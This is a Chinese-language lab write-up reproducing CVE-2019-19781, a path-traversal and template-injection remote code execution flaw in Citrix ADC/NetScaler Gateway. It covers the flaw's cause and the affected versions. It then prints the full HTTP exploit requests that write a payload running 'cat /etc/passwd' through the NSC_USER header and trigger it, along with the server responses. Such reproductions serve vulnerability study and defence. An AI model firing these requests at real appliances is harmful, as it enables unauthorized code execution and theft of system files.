■CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现

No.1声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
No.2漏洞产生原因
Citrix ADC（NetScalers）中的目录穿越错误，这个错误会调用perl脚本， perl脚本用于将XML格式的文件附加到受害计算机，因此产生远程执行代码。注：Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关
No.3漏洞利用过程
1.pl文件未对NSC_USER参数传入进行过滤2.触发目录穿越3.在模板目录的XML文件写入命令4.模板引擎分析后执行命令
No.4漏洞影响范围
Citrix NetScaler ADC and NetScaler Gateway version 10.5Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1 Citrix ADC and Citrix Gateway version 13.0
No.5漏洞复现
下载 Citrix Gateway VPX for ESX Build 13.0-47.22https://www.citrix.com/downloads/citrix-gateway/

本文插图
安装NSVPX-ESX运行.ovf文件后，会导入.vmdk文件并启动虚拟机

本文插图
桥接模式配置IP地址：192.168.2.170子网掩码：255.255.255.0网关地址：192.169.2.255然后选择4确认

本文插图
访问 http://192.168.2.170默认用户和密码登录：nsroot/nsroot

本文插图
利用目录穿越写入命令语句到newbm.pl文件中

本文插图
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1Host: 192.168.2.170User-Agent: 1Connection: closeNSC_USER: ../../../netscaler/portal/templates/rab3itNSC_NONCE: nsrootContent-Length: 97url=http://example.com&title=rab3it&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]
HTTP/1.1 200 OKDate: Thu, 16 Jan 2020 06:25:07 GMTServer: ApacheX-Frame-Options: SAMEORIGINLast-Modified: Thu, 16 Jan 2020 06:25:07 GMTETag: W/''87-59c4286dda300''Accept-Ranges: bytesContent-Length: 135X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffKeep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8<HTML><BODY><SCRIPT language=javascript type=text/javascript>//parent.window.ns_reload();window.close();</SCRIPT></BODY></HTML>
GET方式访问写入的xml文件

本文插图
GET /vpn/../vpns/portal/rab3it.xml HTTP/1.1Host: 192.168.2.170User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeNSC_USER: nsrootNSC_NONCE: nsrootUpgrade-Insecure-Requests: 1Cache-Control: max-age=0

■CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现

推荐阅读

易车网|瑞虎3vs传祺GA4，又一款豪车低头了！飞度快让道！国产8万元性价比超高

别给我夹蘑菇|凸显自己娇小玲珑的特点，温柔甜美又可人！，个子矮的女性这样穿

豆豉龙趸鱼

有内涵的女生抖音名字有哪些？

换机|Windows 11新增“换机助手”：换电脑后应用可恢复

星莀搞笑|撩妹也需要有技术啊，搞笑GIF图：哥们

小溪诗社端午集咏

月球上的人|是装人设还是就这样？，虞书欣张雨剑五连拍时张雨剑依旧面无表情

忘川秋水▲或有大动作？西班牙无理取闹，中方断然回绝，美国发布紧急撤侨令

铁观音口感,铁观音茶的香型

安化黑茶的故事

地带骑士动画片地带骑士

企鹅科技|华为P40Pro的屏幕比华为Mate30Pro更受欢迎？三点原因望周知

高考志愿|2020年高考志愿，不同分数段考生如何定位？高三班主任这样建议

国庆|螺蛳粉味月饼搜索量上涨700% 大数据看国庆中秋消费趋势

克拉拉性感照~黑暗面女主角扮演者?

时尚丽人风行|53岁金星终于穿对啦！一袭蓝色长裙遮住大肚腩，头戴礼帽好优雅

「央视网」《情暖濠江》第一集回归啦

现代快报|为偷一辆电动车，他思想激烈斗争了3天

密室逃脱糖果乐园攻略大全密室逃脱糖果乐园攻略是什么